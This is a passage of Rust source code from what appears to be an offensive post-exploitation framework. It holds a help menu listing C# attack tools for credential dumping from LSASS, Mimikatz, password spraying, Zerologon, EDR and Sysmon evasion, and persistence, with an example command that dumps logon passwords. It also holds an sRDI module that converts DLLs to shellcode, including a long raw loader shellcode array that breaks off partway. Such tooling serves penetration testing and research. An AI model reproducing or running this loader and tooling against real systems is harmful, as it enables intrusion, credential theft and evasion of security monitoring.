214 | if command[1] == *"init" {
215 | download_sharpcollection();
216 | return;
217 | }
218 | sharp_help();
219 | }
220 |
221 | fn sharp_help() {
222 | println!("sharp");
223 | println!(" sharp init download/update SharpCollection tools");
224 | }
225 |
226 | pub fn sharp_link_help() {
227 | println!("sharp commands:");
228 | println!(" sharp ADCollector C# tool to quickly extract valuable information from the Active Directory environment @dev-2null");
229 | println!(" sharp ADSearch C# tool to help query AD via the LDAP protocol @tomcarver16 (Only NET 4.7)");
230 | println!(
231 | " sharp AtYourService C# .NET Assembly for Service Enumeration @mitchmoser"
232 | );
233 | println!(" sharp BetterSafetyKatz Fork of SafetyKatz dynamically fetches the latest Mimikatz, runtime patching signatures and PE loads Mimikatz into memory. @Flangvik");
234 | println!(" sharp Grouper2 C# tool to help find security-related misconfigurations in Active Directory Group Policy. @mikeloss");
235 | println!(" sharp InveighZero Windows C# LLMNR/mDNS/NBNS/DNS/DHCPv6 spoofer/man-in-the-middle tool . @Kevin-Robertson");
236 | println!(
237 | " sharp LockLess Allows for the copying of locked files. @GhostPack"
238 | );
239 | println!(" sharp PurpleSharp C# adversary simulation tool that executes adversary techniques with the purpose of generating attack telemetry in monitored Windows environments. @mvelazc0");
240 | println!(" sharp Rubeus C# toolset for raw Kerberos interaction and abuses. @GhostPack");
241 | println!(" sharp SafetyKatz Combination of slightly modified version of @gentilkiwi's Mimikatz project and @subTee's .NET PE Loader. @GhostPack");
242 | println!(" sharp SauronEye C# search tool find specific files containing specific keywords (.doc, .docx, .xls, .xlsx). @_vivami");
243 | println!(" sharp scout A .NET assembly for performing recon against hosts on a network . @jaredhaight");
244 | println!(" sharp SearchOutlook C# tool to search through a running instance of Outlook for keywords @RedLectroid");
245 | println!(" sharp Seatbelt Performs a number of security oriented host-survey \"safety checks\". @GhostPack");
246 | println!(" sharp SharpAllowedToAct C# implementation of a computer object takeover through Resource-Based Constrained Delegation (msDS-AllowedToActOnBehalfOfOtherIdentity) @pkb1s @leechristensen");
247 | println!(" sharp SharpAppLocker C# port of the Get-AppLockerPolicy PS cmdlet with extended features @Flangvik");
248 | println!(" sharp SharpBlock A method of bypassing EDR's active projection DLL's by preventing entry point exection. @CCob");
249 | println!(" sharp SharpChisel C# Chisel Wrapper. @shantanu561993");
250 | println!(" sharp SharpChrome Chrome-specific implementation of SharpDPAPI capable of cookies and logins decryption/triage. @GhostPack");
251 | println!(" sharp SharpChromium C# Project to retrieve Chromium data, such as cookies, history and saved logins. @djhohnstein");
252 | println!(" sharp SharpCloud Simple C# for checking for the existence of credential files related to AWS, Microsoft Azure, and Google Compute. @chrismaddalena");
253 | println!(" sharp SharpCrashEventLog C# port of LogServiceCrash @slyd0g @limbenjamin");
254 | println!(" sharp SharpDir C# tool to search both local and remote file systems for files. @jnqpblc");
255 | println!(" sharp SharpDoor C# tool to allow multiple RDP (Remote Desktop) sessions by patching termsrv.dll file. @infosecn1nja");
256 | println!(" sharp SharpDPAPI C# port of some Mimikatz DPAPI functionality. @GhostPack");
257 | println!(" sharp SharpDump SharpDump is a C# port of PowerSploit's Out-Minidump.ps1 functionality. @GhostPack");
258 | println!(" sharp sharpfiles C# tool to search for files based on SharpShares output. @fullmetalcache");
259 | println!(" sharp SharpGPOAbuse SharpGPOAbuse is a .NET application written in C# that can be used to take advantage of a user's edit rights on a Group Policy Object (GPO). @FSecureLABS");
260 | println!(" sharp SharpHandler C# tool for stealing/duping handles to LSASS @Jean_Maes_1994");
261 | println!(" sharp SharpHose Asynchronous Password Spraying Tool in C# for Windows Environments . @ustayready");
262 | println!(
263 | " sharp SharpHound3 C# Rewrite of the BloodHound Ingestor. @BloodHoundAD"
264 | );
265 | println!(" sharp SharpKatz PURE C# port of significant MimiKatz functionality such as logonpasswords, dcsync, etc. @b4rtik");
266 | println!(" sharp SharpLAPS A C# tool to retrieve LAPS passwords from LDAP @pentest_swissky");
267 | println!(" sharp SharpMapExec C# version of @byt3bl33d3r's tool CrackMapExec @cube0x0");
268 | println!(" sharp SharpMiniDump C# tool to Create a minidump of the LSASS process from memory @b4rtik");
269 | println!(" sharp SharpMove C# tool for performing lateral movement techniques @0xthirteen");
270 | println!(" sharp SharpRDP C# Remote Desktop Protocol Console Application for Authenticated Command Execution @0xthirteen");
271 | println!(" sharp SharpReg C# tool to interact with the Remote Registry service api. @jnqpblc");
272 | println!(" sharp SharpSecDump C# port of the remote SAM + LSA Secrets dumping functionality of impacket's secretsdump.py @G0ldenGunSec");
273 | println!(" sharp SharpShares Enumerate all network shares in the current domain. @djhohnstein");
274 | println!(" sharp Sharp-SMBExec A native C# conversion of Kevin Robertsons Invoke-SMBExec powershell script @checkymander");
275 | println!(" sharp SharpSphere C# SharpSphere has the ability to interact with the guest operating systems of virtual machines managed by vCenter. @jkcoote & @grzryc");
276 | println!(" sharp SharpSpray C# tool to perform a password spraying attack against all users of a domain using LDAP. @jnqpblc");
277 | println!(
278 | " sharp SharpStay .NET project for installing Persistence. @0xthirteen"
279 | );
280 | println!(" sharp SharpSvc C# tool to interact with the SC Manager API. @jnqpblc (Only NET 4.7)");
281 | println!(" sharp SharpTask C# tool to interact with the Task Scheduler service api. @jnqpblc");
282 | println!(
283 | " sharp SharpUp C# port of various PowerUp functionality. @GhostPack"
284 | );
285 | println!(" sharp SharpView C# implementation of harmj0y's PowerView. @tevora-threat");
286 | println!(" sharp SharpWMI C# implementation of various WMI functionality. @GhostPack");
287 | println!(" sharp SharpZeroLogon C# port of CVE-2020-1472 , a.k.a. Zerologon. @buffaloverflow");
288 | println!(" sharp Shhmon Neutering Sysmon via driver unload. @Shhmon");
289 | println!(" sharp Snaffler C# tool for pentesters to help find delicious candy needles (creds mostly, but it's flexible). @SnaffCon");
290 | println!(" sharp SqlClient C# .NET mssql client for accessing database data through beacon. @FortyNorthSecurity");
291 | println!(
292 | " sharp StandIn C# based small AD post-compromise toolkit. @FuzzySec"
293 | );
294 | println!(" sharp StickyNotesExtract C# tool that extracts data from the Windows Sticky Notes database. @V1V1");
295 | println!(" sharp SweetPotato Local Service to SYSTEM privilege escalation from Windows 7 to Windows 10 / Server 2019 . @CCob");
296 | println!(" sharp ThunderFox C# Retrieves data (contacts, emails, history, cookies and credentials) from Thunderbird and Firefox. @V1V1");
297 | println!(" sharp TruffleSnout C# based iterative AD discovery toolkit for offensive operators. @dsnezhkov");
298 | println!(" sharp Watson Enumerate missing KBs and suggest exploits for useful Privilege Escalation vulnerabilities . @rasta-mouse");
299 | println!(" sharp winPEAS PEASS Privilege Escalation Awesome Scripts (winPEAS). @carlospolop");
300 | println!(" sharp WMIReg C# PoC to interact with local/remote registry hives through WMI. @airzero24");
301 | println!("\n sharp ");
302 | println!(" eg: sharp svchost SharpKatz --Command logonpasswords");
303 | }
304 |
--------------------------------------------------------------------------------
/src/util/shellcode.rs:
--------------------------------------------------------------------------------
1 | use byteorder::{ByteOrder, LittleEndian, ReadBytesExt};
2 | use std::io::prelude::*;
3 | use std::{fs, path, process};
4 |
5 | pub fn is_64bit_dll(dll: &[u8]) -> bool {
6 | const MACHINE_IA64: u16 = 512;
7 | const MACHINE_AMD64: u16 = 34404;
8 | let mut buf: &[u8] = &dll[60..64];
9 | let header_offset: u32 = buf.read_u32::().unwrap();
10 | buf = &dll[header_offset as usize + 4..header_offset as usize + 6];
11 | let machine: u16 = buf.read_u16::().unwrap();
12 |
13 | machine == MACHINE_IA64 || machine == MACHINE_AMD64
14 | }
15 |
16 | pub fn ror(val: u32, r_bits: u32, max_bits: u32) -> u32 {
17 | let base: u64 = 2;
18 | let exp = base.pow(max_bits) - 1;
19 | ((val & exp as u32) >> r_bits.rem_euclid(max_bits))
20 | | (val << (max_bits - (r_bits.rem_euclid(max_bits))) & exp as u32)
21 | }
22 |
23 | pub fn hash_function_name(name: &str) -> u32 {
24 | let mut function: Vec = name.as_bytes().to_vec();
25 | function.extend_from_slice(&[0x00]);
26 | let mut function_hash: u32 = 0;
27 |
28 | for byte in function.iter() {
29 | function_hash = ror(function_hash, 13, 32);
30 | function_hash += *byte as u32;
31 | }
32 | function_hash
33 | }
34 |
35 | // function similar to struct.pack from python3
36 | pub fn pack(val: u32) -> [u8; 4] {
37 | let mut bytes = [0; 4];
38 | LittleEndian::write_u32(&mut bytes, val);
39 | bytes
40 | }
41 |
42 | pub fn shellcode_rdi(dll_path: &str, function_name: &str, user_data: String) -> Vec {
43 | let clear_header = true;
44 | let hash_function: [u8; 4];
45 | // read dll into memory
46 | let dll = if path::Path::new(dll_path).exists() {
47 | fs::read(dll_path).unwrap()
48 | } else {
49 | println!("Could not find DLL");
50 | process::exit(1);
51 | };
52 | if !function_name.eq("") {
53 | let hash_function_u32 = hash_function_name(&function_name);
54 | hash_function = pack(hash_function_u32);
55 | } else {
56 | hash_function = pack(0x10_u32);
57 | }
58 | let mut flags = 0;
59 | if clear_header {
60 | flags = 0x1;
61 | }
62 | convert_to_shellcode(dll, hash_function, user_data.into_bytes(), flags)
63 | }
64 |
65 | pub fn shellcode_rdi_from_bytes(
66 | dll_bytes: Vec,
67 | function_name: String,
68 | user_data: String,
69 | ) -> Vec {
70 | let clear_header = true;
71 | let hash_function: [u8; 4];
72 | if !function_name.eq("") {
73 | let hash_function_u32 = hash_function_name(&function_name);
74 | hash_function = pack(hash_function_u32);
75 | } else {
76 | hash_function = pack(0x10_u32);
77 | }
78 | let mut flags = 0;
79 | if clear_header {
80 | flags = 0x1;
81 | }
82 | convert_to_shellcode(dll_bytes, hash_function, user_data.into_bytes(), flags)
83 | }
84 |
85 | pub fn convert_to_shellcode(
86 | dll_bytes: Vec,
87 | function_hash: [u8; 4],
88 | user_data_: Vec,
89 | flags: u32,
90 | ) -> Vec {
91 | let rdi_shellcode_32 = [
92 | 0x83, 0xEC, 0x6C, 0x53, 0x55, 0x56, 0x57, 0xB9, 0x4C, 0x77, 0x26, 0x07, 0xE8, 0x6E, 0x06,
93 | 0x00, 0x00, 0x8B, 0xF8, 0xB9, 0x49, 0xF7, 0x02, 0x78, 0x89, 0x7C, 0x24, 0x28, 0xE8, 0x5E,
94 | 0x06, 0x00, 0x00, 0x8B, 0xF0, 0xB9, 0x58, 0xA4, 0x53, 0xE5, 0x89, 0x74, 0x24, 0x2C, 0xE8,
95 | 0x4E, 0x06, 0x00, 0x00, 0x8B, 0xD8, 0xB9, 0x10, 0xE1, 0x8A, 0xC3, 0x89, 0x5C, 0x24, 0x20,
96 | 0xE8, 0x3E, 0x06, 0x00, 0x00, 0xB9, 0xAF, 0xB1, 0x5C, 0x94, 0x89, 0x44, 0x24, 0x30, 0xE8,
97 | 0x30, 0x06, 0x00, 0x00, 0xB9, 0x33, 0x00, 0x9E, 0x95, 0x89, 0x44, 0x24, 0x34, 0xE8, 0x22,
98 | 0x06, 0x00, 0x00, 0xB9, 0x44, 0xF0, 0x35, 0xE0, 0x8B, 0xE8, 0xE8, 0x16, 0x06, 0x00, 0x00,
99 | 0x89, 0x44, 0x24, 0x40, 0x85, 0xFF, 0x0F, 0x84, 0x00, 0x06, 0x00, 0x00, 0x85, 0xF6, 0x0F,
100 | 0x84, 0xF8, 0x05, 0x00, 0x00, 0x85, 0xDB, 0x0F, 0x84, 0xF0, 0x05, 0x00, 0x00, 0x83, 0x7C,
101 | 0x24, 0x30, 0x00, 0x0F, 0x84, 0xE5, 0x05, 0x00, 0x00, 0x83, 0x7C, 0x24, 0x34, 0x00, 0x0F,
102 | 0x84, 0xDA, 0x05, 0x00, 0x00, 0x85, 0xED, 0x0F, 0x84, 0xD2, 0x05, 0x00, 0x00, 0x85, 0xC0,
103 | 0x0F, 0x84, 0xCA, 0x05, 0x00, 0x00, 0x8B, 0x84, 0x24, 0x80, 0x00, 0x00, 0x00, 0x8B, 0x70,
104 | 0x3C, 0x03, 0xF0, 0x81, 0x3E, 0x50, 0x45, 0x00, 0x00, 0x0F, 0x85, 0xB2, 0x05, 0x00, 0x00,
105 | 0xB8, 0x4C, 0x01, 0x00, 0x00, 0x66, 0x39, 0x46, 0x04, 0x0F, 0x85, 0xA3, 0x05, 0x00, 0x00,
106 | 0xF6, 0x46, 0x38, 0x01, 0x0F, 0x85, 0x99, 0x05, 0x00, 0x00, 0x0F, 0xB7, 0x56, 0x06, 0x33,
107 | 0xFF, 0x0F, 0xB7, 0x46, 0x14, 0x85, 0xD2, 0x74, 0x22, 0x8D, 0x4E, 0x24, 0x03, 0xC8, 0x83,
108 | 0x79, 0x04, 0x00, 0x8B, 0x01, 0x75, 0x05, 0x03, 0x46, 0x38, 0xEB, 0x03, 0x03, 0x41, 0x04,
109 | 0x3B, 0xC7, 0x0F, 0x47, 0xF8, 0x83, 0xC1, 0x28, 0x83, 0xEA, 0x01, 0x75, 0xE3, 0x8D, 0x44,
110 | 0x24, 0x58, 0x50, 0xFF, 0xD5, 0x8B, 0x4C, 0x24, 0x5C, 0x8D, 0x51, 0xFF, 0x8D, 0x69, 0xFF,
111 | 0xF7, 0xD2, 0x03, 0x6E, 0x50, 0x8D, 0x41, 0xFF, 0x03, 0xC7, 0x23, 0xEA, 0x23, 0xC2, 0x3B,
112 | 0xE8, 0x0F, 0x85, 0x42, 0x05, 0x00, 0x00, 0x6A, 0x04, 0xBF, 0x00, 0x30, 0x00, 0x00, 0x57,
113 | 0x55, 0xFF, 0x76, 0x34, 0xFF, 0xD3, 0x8B, 0xD8, 0x89, 0x5C, 0x24, 0x24, 0x85, 0xDB, 0x75,
114 | 0x0F, 0x6A, 0x04, 0x57, 0x55, 0x50, 0xFF, 0x54, 0x24, 0x30, 0x8B, 0xD8, 0x89, 0x44, 0x24,
115 | 0x24, 0xF6, 0x84, 0x24, 0x90, 0x00, 0x00, 0x00, 0x01, 0x74, 0x28, 0x8B, 0x94, 0x24, 0x80,
116 | 0x00, 0x00, 0x00, 0x8B, 0x42, 0x3C, 0x89, 0x43, 0x3C, 0x8B, 0x4A, 0x3C, 0x3B, 0x4E, 0x54,
117 | 0x73, 0x31, 0x8D, 0x3C, 0x0B, 0x2B, 0xD3, 0x8A, 0x04, 0x3A, 0x41, 0x88, 0x07, 0x47, 0x3B,
118 | 0x4E, 0x54, 0x72, 0xF4, 0xEB, 0x1E, 0x33, 0xFF, 0x39, 0x7E, 0x54, 0x76, 0x17, 0x8B, 0x94,
119 | 0x24, 0x80, 0x00, 0x00, 0x00, 0x8B, 0xCB, 0x2B, 0xD3, 0x8A, 0x04, 0x11, 0x47, 0x88, 0x01,
120 | 0x41, 0x3B, 0x7E, 0x54, 0x72, 0xF4, 0x8B, 0x6B, 0x3C, 0x33, 0xC9, 0x03, 0xEB, 0x89, 0x4C,
121 | 0x24, 0x1C, 0x33, 0xD2, 0x89, 0x6C, 0x24, 0x14, 0x0F, 0xB7, 0x45, 0x14, 0x66, 0x3B, 0x55,
122 | 0x06, 0x73, 0x40, 0x8D, 0x75, 0x28, 0x03, 0xF0, 0x33, 0xFF, 0x39, 0x3E, 0x76, 0x25, 0x8B,
123 | 0xAC, 0x24, 0x80, 0x00, 0x00, 0x00, 0x8B, 0x46, 0x04, 0x8D, 0x14, 0x3B, 0x8B, 0x4E, 0xFC,
124 | 0x03, 0xC7, 0x47, 0x8A, 0x04, 0x28, 0x88, 0x04, 0x0A, 0x3B, 0x3E, 0x72, 0xEA, 0x8B, 0x6C,
125 | 0x24, 0x14, 0x8B, 0x4C, 0x24, 0x1C, 0x0F, 0xB7, 0x45, 0x06, 0x41, 0x83, 0xC6, 0x28, 0x89,
126 | 0x4C, 0x24, 0x1C, 0x3B, 0xC8, 0x72, 0xC5, 0x6A, 0x01, 0x8B, 0xFB, 0x5E, 0x89, 0x74, 0x24,
127 | 0x20, 0x2B, 0x7D, 0x34, 0x74, 0x7B, 0x83, 0xBD, 0xA4, 0x00, 0x00, 0x00, 0x00, 0x74, 0x72,
128 | 0x8B, 0x95, 0xA0, 0x00, 0x00, 0x00, 0x03, 0xD3, 0x83, 0x3A, 0x00, 0x74, 0x65, 0x6A, 0x02,
129 | 0x5D, 0x8D, 0x72, 0x08, 0xEB, 0x46, 0x0F, 0xB7, 0x0E, 0x66, 0x8B, 0xC1, 0x66, 0xC1, 0xE8,
130 | 0x0C, 0x66, 0x83, 0xF8, 0x0A, 0x74, 0x06, 0x66, 0x83, 0xF8, 0x03, 0x75, 0x0D, 0x81, 0xE1,
131 | 0xFF, 0x0F, 0x00, 0x00, 0x03, 0x0A, 0x01, 0x3C, 0x19, 0xEB, 0x21, 0x66, 0x3B, 0x44, 0x24,
132 | 0x20, 0x75, 0x07, 0x8B, 0xC7, 0xC1, 0xE8, 0x10, 0xEB, 0x08, 0x66, 0x3B, 0xC5, 0x75, 0x0E,
133 | 0x0F, 0xB7, 0xC7, 0x81, 0xE1, 0xFF, 0x0F, 0x00, 0x00, 0x03, 0x0A, 0x01, 0x04, 0x19, 0x03,
134 | 0xF5, 0x8B, 0x42, 0x04, 0x03, 0xC2, 0x3B, 0xF0, 0x75, 0xB1, 0x83, 0x3E, 0x00, 0x8B, 0xD6,
135 | 0x75, 0xA5, 0x8B, 0x6C, 0x24, 0x14, 0x33, 0xF6, 0x46, 0x83, 0xBD, 0x84, 0x00, 0x00, 0x00,
136 | 0x00, 0x0F, 0x84, 0x97, 0x01, 0x00, 0x00, 0x8B, 0x85, 0x80, 0x00, 0x00, 0x00, 0x8D, 0x0C,
137 | 0x18, 0x83, 0xC0, 0x0C, 0x03, 0xC3, 0x89, 0x4C, 0x24, 0x1C, 0x33, 0xC9, 0x89, 0x4C, 0x24,
138 | 0x18, 0x39, 0x08, 0x74, 0x0D, 0x8D, 0x40, 0x14, 0x41, 0x83, 0x38, 0x00, 0x75, 0xF7, 0x89,
139 | 0x4C, 0x24, 0x18, 0x8B, 0x94, 0x24, 0x90, 0x00, 0x00, 0x00, 0x8B, 0xC2, 0x83, 0xE0, 0x04,
140 | 0x89, 0x44, 0x24, 0x3C, 0x0F, 0x84, 0xAE, 0x00, 0x00, 0x00, 0x3B, 0xCE, 0x0F, 0x86, 0xA6,
141 | 0x00, 0x00, 0x00, 0xC1, 0xEA, 0x10, 0x8D, 0x41, 0xFF, 0x89, 0x94, 0x24, 0x90, 0x00, 0x00,
142 | 0x00, 0x33, 0xD2, 0x89, 0x44, 0x24, 0x38, 0x89, 0x54, 0x24, 0x20, 0x85, 0xC0, 0x0F, 0x84,
143 | 0x92, 0x00, 0x00, 0x00, 0x8B, 0x5C, 0x24, 0x1C, 0x8B, 0xAC, 0x24, 0x80, 0x00, 0x00, 0x00,
144 | 0x89, 0x5C, 0x24, 0x1C, 0x2B, 0xCA, 0x69, 0xED, 0xFD, 0x43, 0x03, 0x00, 0x33, 0xD2, 0x8D,
145 | 0x7C, 0x24, 0x44, 0xB8, 0xFF, 0x7F, 0x00, 0x00, 0xF7, 0xF1, 0x81, 0xC5, 0xC3, 0x9E, 0x26,
146 | 0x00, 0x33, 0xD2, 0x6A, 0x05, 0x8D, 0x48, 0x01, 0x8B, 0xC5, 0xC1, 0xE8, 0x10, 0x25, 0xFF,
147 | 0x7F, 0x00, 0x00, 0xF7, 0xF1, 0x8B, 0x54, 0x24, 0x24, 0x03, 0xC2, 0x6B, 0xC0, 0x14, 0x59,
148 | 0x6A, 0x05, 0x03, 0xC3, 0x42, 0x8B, 0xF0, 0x89, 0x54, 0x24, 0x24, 0xF3, 0xA5, 0x8B, 0x74,
149 | 0x24, 0x20, 0x8B, 0xF8, 0x8B, 0x44, 0x24, 0x20, 0x59, 0xF3, 0xA5, 0x6A, 0x05, 0x8B, 0xF8,
150 | 0x8D, 0x74, 0x24, 0x48, 0x59, 0x83, 0xC0, 0x14, 0xF3, 0xA5, 0x8B, 0x4C, 0x24, 0x18, 0x89,
151 | 0x44, 0x24, 0x1C, 0x3B, 0x54, 0x24, 0x38, 0x72, 0x92, 0x8B, 0x5C, 0x24, 0x24, 0x8B, 0x6C,
152 | 0x24, 0x14, 0xEB, 0x0B, 0x8B, 0x44, 0x24, 0x40, 0x89, 0x84, 0x24, 0x90, 0x00, 0x00, 0x00,
153 | 0x8B, 0xB5, 0x80, 0x00, 0x00, 0x00, 0x03, 0xF3, 0x89, 0x74, 0x24, 0x20, 0x8B, 0x46, 0x0C,
154 | 0x85, 0xC0, 0x0F, 0x84, 0x88, 0x00, 0x00, 0x00, 0x8B, 0x6C, 0x24, 0x18, 0x03, 0xC3, 0x50,
155 | 0xFF, 0x54, 0x24, 0x2C, 0x8B, 0x7E, 0x10, 0x89, 0x44, 0x24, 0x38, 0x03, 0xFB, 0x8B, 0x06,
156 | 0x03, 0xC3, 0x89, 0x44, 0x24, 0x24, 0x8B, 0x08, 0x85, 0xC9, 0x74, 0x36, 0x8B, 0x6C, 0x24,
157 | 0x38, 0x8B, 0x74, 0x24, 0x2C, 0x79, 0x05, 0x0F, 0xB7, 0xC1, 0xEB, 0x05, 0x8D, 0x41, 0x02,
158 | 0x03, 0xC3, 0x50, 0x55, 0xFF, 0xD6, 0x89, 0x07, 0x83, 0xC7, 0x04, 0x8B, 0x44, 0x24, 0x24,
159 | 0x83, 0xC0, 0x04, 0x89, 0x44, 0x24, 0x24, 0x8B, 0x08, 0x85, 0xC9, 0x75, 0xDA, 0x8B, 0x74,
160 | 0x24, 0x20, 0x8B, 0x6C, 0x24, 0x18, 0x83, 0x7C, 0x24, 0x3C, 0x00, 0x74, 0x17, 0x33, 0xC0,
161 | 0x40, 0x3B, 0xE8, 0x76, 0x10, 0x69, 0x84, 0x24, 0x90, 0x00, 0x00, 0x00, 0xE8, 0x03, 0x00,
162 | 0x00, 0x50, 0xFF, 0x54, 0x24, 0x44, 0x8B, 0x46, 0x20, 0x83, 0xC6, 0x14, 0x89, 0x74, 0x24,
163 | 0x20, 0x85, 0xC0, 0x75, 0x80, 0x8B, 0x6C, 0x24, 0x14, 0x83, 0xBD, 0xE4, 0x00, 0x00, 0x00,
164 | 0x00, 0x74, 0x73, 0x8B, 0xBD, 0xE0, 0x00, 0x00, 0x00, 0x83, 0xC7, 0x04, 0x03, 0xFB, 0x89,
165 | 0x7C, 0x24, 0x20, 0x83, 0x3F, 0x00, 0x74, 0x5F, 0x8B, 0x07, 0x03, 0xC3, 0x50, 0xFF, 0x54,
166 | 0x24, 0x2C, 0x8B, 0x77, 0x08, 0x8B, 0xE8, 0x8B, 0x47, 0x0C, 0x03, 0xF3, 0x03, 0xC3, 0x89,
167 | 0x44, 0x24, 0x24, 0x83, 0x3E, 0x00, 0x74, 0x31, 0x8B, 0x7C, 0x24, 0x2C, 0x8B, 0x00, 0x85,
168 | 0xC0, 0x79, 0x05, 0x0F, 0xB7, 0xC0, 0xEB, 0x05, 0x83, 0xC0, 0x02, 0x03, 0xC3, 0x50, 0x55,
169 | 0xFF, 0xD7, 0x89, 0x06, 0x83, 0xC6, 0x04, 0x8B, 0x44, 0x24, 0x24, 0x83, 0xC0, 0x04, 0x89,
170 | 0x44, 0x24, 0x24, 0x83, 0x3E, 0x00, 0x75, 0xD7, 0x8B, 0x7C, 0x24, 0x20, 0x83, 0xC7, 0x20,
171 | 0x89, 0x7C, 0x24, 0x20, 0x83, 0x3F, 0x00, 0x75, 0xA5, 0x8B, 0x6C, 0x24, 0x14, 0x0F, 0xB7,
172 | 0x45, 0x14, 0x33, 0xC9, 0x33, 0xFF, 0x66, 0x3B, 0x4D, 0x06, 0x0F, 0x83, 0xB0, 0x00, 0x00,
173 | 0x00, 0x8D, 0x75, 0x3C, 0x03, 0xF0, 0x83, 0x7E, 0xEC, 0x00, 0x0F, 0x84, 0x91, 0x00, 0x00,
174 | 0x00, 0x8B, 0x0E, 0x33, 0xD2, 0x42, 0x8B, 0xC1, 0xC1, 0xE8, 0x1D, 0x23, 0xC2, 0x8B, 0xD1,
175 | 0xC1, 0xEA, 0x1E, 0x83, 0xE2, 0x01, 0xC1, 0xE9, 0x1F, 0x85, 0xC0, 0x75, 0x18, 0x85, 0xD2,
176 | 0x75, 0x0D, 0x6A, 0x08, 0x58, 0x6A, 0x01, 0x85, 0xC9, 0x59, 0x0F, 0x44, 0xC1, 0xEB, 0x3D,
177 | 0x6A, 0x04, 0x58, 0x6A, 0x02, 0xEB, 0xF1, 0x85, 0xD2, 0x75, 0x1E, 0x85, 0xC9, 0x75, 0x05,
178 | 0x6A, 0x10, 0x58, 0xEB, 0x29, 0x85, 0xD2, 0x75, 0x11, 0x85, 0xC9, 0x74, 0x07, 0xB8, 0x80,
179 | 0x00, 0x00, 0x00, 0xEB, 0x1A, 0x8B, 0x44, 0x24, 0x10, 0xEB, 0x18, 0x85, 0xC9, 0x75, 0x04,
180 | 0x6A, 0x20, 0xEB, 0xE0, 0x8B, 0x44, 0x24, 0x10, 0x85, 0xC9, 0x6A, 0x40, 0x5A, 0x0F, 0x45,
181 | 0xC2, 0x89, 0x44, 0x24, 0x10, 0xF7, 0x06, 0x00, 0x00, 0x00, 0x04, 0x74, 0x09, 0x0D, 0x00,
182 | 0x02, 0x00, 0x00, 0x89, 0x44, 0x24, 0x10, 0x8D, 0x4C, 0x24, 0x10, 0x51, 0x50, 0x8B, 0x46,
183 | 0xE8, 0xFF, 0x76, 0xEC, 0x03, 0xC3, 0x50, 0xFF, 0x54, 0x24, 0x40, 0x0F, 0xB7, 0x45, 0x06,
184 | 0x47, 0x83, 0xC6, 0x28, 0x3B, 0xF8, 0x0F, 0x82, 0x55, 0xFF, 0xFF, 0xFF, 0x6A, 0x00, 0x6A,
185 | 0x00, 0x6A, 0xFF, 0xFF, 0x54, 0x24, 0x40, 0x83, 0xBD, 0xC4, 0x00, 0x00, 0x00, 0x00, 0x74,
186 | 0x26, 0x8B, 0x85, 0xC0, 0x00, 0x00, 0x00, 0x8B, 0x74, 0x18, 0x0C, 0x8B, 0x06, 0x85, 0xC0,
187 | 0x74, 0x16, 0x33, 0xED, 0x45, 0x6A, 0x00, 0x55, 0x53, 0xFF, 0xD0, 0x8D, 0x76, 0x04, 0x8B,
188 | 0x06, 0x85, 0xC0, 0x75, 0xF1, 0x8B, 0x6C, 0x24, 0x14, 0x33, 0xC0, 0x40, 0x50, 0x50, 0x8B,
189 | 0x45, 0x28, 0x53, 0x03, 0xC3, 0xFF, 0xD0, 0x83, 0xBC, 0x24, 0x84, 0x00, 0x00, 0x00, 0x00,
190 | 0x0F, 0x84, 0xAD, 0x00, 0x00, 0x00, 0x83, 0x7D, 0x7C, 0x00, 0x0F, 0x84, 0xA3, 0x00, 0x00,
191 | 0x00, 0x8B, 0x55, 0x78, 0x03, 0xD3, 0x8B, 0x6A, 0x18, 0x85, 0xED, 0x0F, 0x84, 0x93, 0x00,
192 | 0x00, 0x00, 0x83, 0x7A, 0x14, 0x00, 0x0F, 0x84, 0x89, 0x00, 0x00, 0x00, 0x8B, 0x7A, 0x20,
193 | 0x8B, 0x4A, 0x24, 0x03, 0xFB, 0x83, 0x64, 0x24, 0x34, 0x00, 0x03, 0xCB, 0x85, 0xED, 0x74,
194 | 0x76, 0x8B, 0x37, 0xC7, 0x44, 0x24, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x03, 0xF3, 0x74, 0x68,
195 | 0x8A, 0x06, 0x84, 0xC0, 0x74, 0x1C, 0x8B, 0x6C, 0x24, 0x1C, 0x0F, 0xBE, 0xC0, 0x03, 0xC5,
196 | 0xC1, 0xC8, 0x0D, 0x46, 0x8B, 0xE8, 0x8A, 0x06, 0x84, 0xC0, 0x75, 0xEF, 0x89, 0x6C, 0x24,
197 | 0x1C, 0x8B, 0x6A, 0x18, 0x8B, 0x84, 0x24, 0x84, 0x00, 0x00, 0x00, 0x3B, 0x44, 0x24, 0x1C,
198 | 0x75, 0x04, 0x85, 0xC9, 0x75, 0x15, 0x8B, 0x44, 0x24, 0x34, 0x83, 0xC7, 0x04, 0x40, 0x83,
199 | 0xC1, 0x02, 0x89, 0x44, 0x24, 0x34, 0x3B, 0xC5, 0x72, 0xAC, 0xEB, 0x20, 0x0F, 0xB7, 0x09,
200 | 0x8B, 0x42, 0x1C, 0xFF, 0xB4, 0x24, 0x8C, 0x00, 0x00, 0x00, 0xFF, 0xB4, 0x24, 0x8C, 0x00,
201 | 0x00, 0x00, 0x8D, 0x04, 0x88, 0x8B, 0x04, 0x18, 0x03, 0xC3, 0xFF, 0xD0, 0x59, 0x59, 0x8B,
202 | 0xC3, 0xEB, 0x02, 0x33, 0xC0, 0x5F, 0x5E, 0x5D, 0x5B, 0x83, 0xC4, 0x6C, 0xC3, 0x83, 0xEC,
203 | 0x10, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x53, 0x55, 0x56, 0x8B, 0x40, 0x0C, 0x57, 0x89,
204 | 0x4C, 0x24, 0x18, 0x8B, 0x70, 0x0C, 0xE9, 0x8A, 0x00, 0x00, 0x00, 0x8B, 0x46, 0x30, 0x33,
205 | 0xC9, 0x8B, 0x5E, 0x2C, 0x8B, 0x36, 0x89, 0x44, 0x24, 0x14, 0x8B, 0x42, 0x3C, 0x8B, 0x6C,
206 | 0x10, 0x78, 0x89, 0x6C, 0x24, 0x10, 0x85, 0xED, 0x74, 0x6D, 0xC1, 0xEB, 0x10, 0x33, 0xFF,
207 | 0x85, 0xDB, 0x74, 0x1F, 0x8B, 0x6C, 0x24, 0x14, 0x8A, 0x04, 0x2F, 0xC1, 0xC9, 0x0D, 0x3C,
208 | 0x61, 0x0F, 0xBE, 0xC0, 0x7C, 0x03, 0x83, 0xC1, 0xE0, 0x03, 0xC8, 0x47, 0x3B, 0xFB, 0x72,
209 | 0xE9, 0x8B, 0x6C, 0x24, 0x10, 0x8B, 0x44, 0x2A, 0x20, 0x33, 0xDB, 0x8B, 0x7C, 0x2A, 0x18,
